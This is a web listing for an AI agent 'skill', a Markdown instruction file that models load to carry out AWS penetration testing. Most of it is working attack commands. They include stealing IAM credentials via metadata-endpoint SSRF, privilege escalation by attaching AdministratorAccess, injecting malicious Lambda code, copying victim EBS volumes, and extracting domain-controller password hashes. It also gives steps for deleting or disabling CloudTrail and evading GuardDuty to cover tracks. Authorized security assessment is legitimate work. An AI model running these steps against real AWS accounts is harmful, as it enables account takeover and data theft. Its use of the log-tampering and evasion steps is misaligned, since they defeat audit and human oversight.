Aws Penetration Testing logo

Aws Penetration Testing

CommunityPopular
zebbern
aws-penetration-testing

This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.

Overview

Publisherzebbern
Repositoryclaude-code-guide
Skill nameaws-penetration-testing
Stars
4.6K
Forks
464
Bundled files
1
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by zebbern on GitHub. Read the source before you install it.

Installation

Install the Aws Penetration Testing AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/zebbern/claude-code-guide.git /tmp/claude-code-guide
mkdir -p .claude/skills
cp -r /tmp/claude-code-guide/skills/aws-penetration-testing .claude/skills/aws-penetration-testing
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Aws Penetration Testing in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Aws Penetration Testing on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Aws Penetration Testing is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

AWS Penetration Testing

Purpose

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

Inputs/Prerequisites

  • AWS CLI configured with credentials
  • Valid AWS credentials (even low-privilege)
  • Understanding of AWS IAM model
  • Python 3, boto3 library
  • Tools: Pacu, Prowler, ScoutSuite, SkyArk

Outputs/Deliverables

  • IAM privilege escalation paths
  • Extracted credentials and secrets
  • Compromised EC2/Lambda/S3 resources
  • Persistence mechanisms
  • Security audit findings

Essential Tools

ToolPurposeInstallation
PacuAWS exploitation frameworkgit clone https://github.com/RhinoSecurityLabs/pacu
SkyArkShadow Admin discoveryImport-Module .\SkyArk.ps1
ProwlerSecurity auditingpip install prowler
ScoutSuiteMulti-cloud auditingpip install scoutsuite
enumerate-iamPermission enumerationgit clone https://github.com/andresriancho/enumerate-iam
Principal MapperIAM analysispip install principalmapper

Core Workflow

Step 1: Initial Enumeration

Identify the compromised identity and permissions:

bash
# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Step 2: IAM Enumeration

bash
# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Step 3: Metadata SSRF (EC2)

Exploit SSRF to access metadata endpoint (IMDSv1):

bash
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

For IMDSv2 (token required):

bash
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate Container Credentials:

bash
# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

Privilege Escalation Techniques

Shadow Admin Permissions

These permissions are equivalent to administrator:

PermissionExploitation
iam:CreateAccessKeyCreate keys for admin user
iam:CreateLoginProfileSet password for any user
iam:AttachUserPolicyAttach admin policy to self
iam:PutUserPolicyAdd inline admin policy
iam:AddUserToGroupAdd self to admin group
iam:PassRole + ec2:RunInstancesLaunch EC2 with admin role
lambda:UpdateFunctionCodeInject code into Lambda

Create Access Key for Another User

bash
aws iam create-access-key --user-name target_user

Attach Admin Policy

bash
aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Add Inline Admin Policy

bash
aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda Privilege Escalation

python
# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response
bash
# Update Lambda code
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 Bucket Exploitation

Bucket Discovery

bash
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}

Bucket Enumeration

bash
# List buckets (with creds)
aws s3 ls

# List bucket contents
aws s3 ls s3://bucket-name --recursive

# Download all files
aws s3 sync s3://bucket-name ./local-folder

Public Bucket Search

https://buckets.grayhatwarfare.com/

Lambda Exploitation

bash
# List Lambda functions
aws lambda list-functions

# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response

# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM Command Execution

Systems Manager allows command execution on EC2 instances:

bash
# List managed instances
aws ssm describe-instance-information

# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"

# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 Exploitation

Mount EBS Volume

bash
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen

Shadow Copy Attack (Windows DC)

bash
# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

Console Access from API Keys

Convert CLI credentials to console access:

bash
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

# Generates signin URL for console access

Covering Tracks

Disable CloudTrail

bash
# Delete trail
aws cloudtrail delete-trail --name trail_name

# Disable global events
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events

# Disable specific region
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail

Note: Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.


Quick Reference

TaskCommand
Get identityaws sts get-caller-identity
List usersaws iam list-users
List rolesaws iam list-roles
List bucketsaws s3 ls
List EC2aws ec2 describe-instances
List Lambdaaws lambda list-functions
Get metadatacurl http://169.254.169.254/latest/meta-data/

Constraints

Must:

  • Obtain written authorization before testing
  • Document all actions for audit trail
  • Test in scope resources only

Must Not:

  • Modify production data without approval
  • Leave persistent backdoors without documentation
  • Disable security controls permanently

Should:

  • Check for IMDSv2 before attempting metadata attacks
  • Enumerate thoroughly before exploitation
  • Clean up test resources after engagement

Examples

Example 1: SSRF to Admin

bash
# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 5. Verify access
aws sts get-caller-identity

Troubleshooting

IssueSolution
Access Denied on all commandsEnumerate permissions with enumerate-iam
Metadata endpoint blockedCheck for IMDSv2, try container metadata
GuardDuty alertsUse Pacu with custom user-agent
Expired credentialsRe-fetch from metadata (temp creds rotate)
CloudTrail logging actionsConsider disable or log obfuscation

Additional Resources

For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see references/advanced-aws-pentesting.md.

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Aws Penetration Testing AI skill do?

This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.

Why use Aws Penetration Testing on TypingMind?

Because you install it once and use it with any model. Aws Penetration Testing is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Aws Penetration Testing in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/zebbern/claude-code-guide/tree/main/skills/aws-penetration-testing. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Aws Penetration Testing?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Aws Penetration Testing?

As many as you like. As long as a model supports skills, you can use Aws Penetration Testing with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Aws Penetration Testing AI skill free?

Yes. It is published on GitHub by zebbern under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇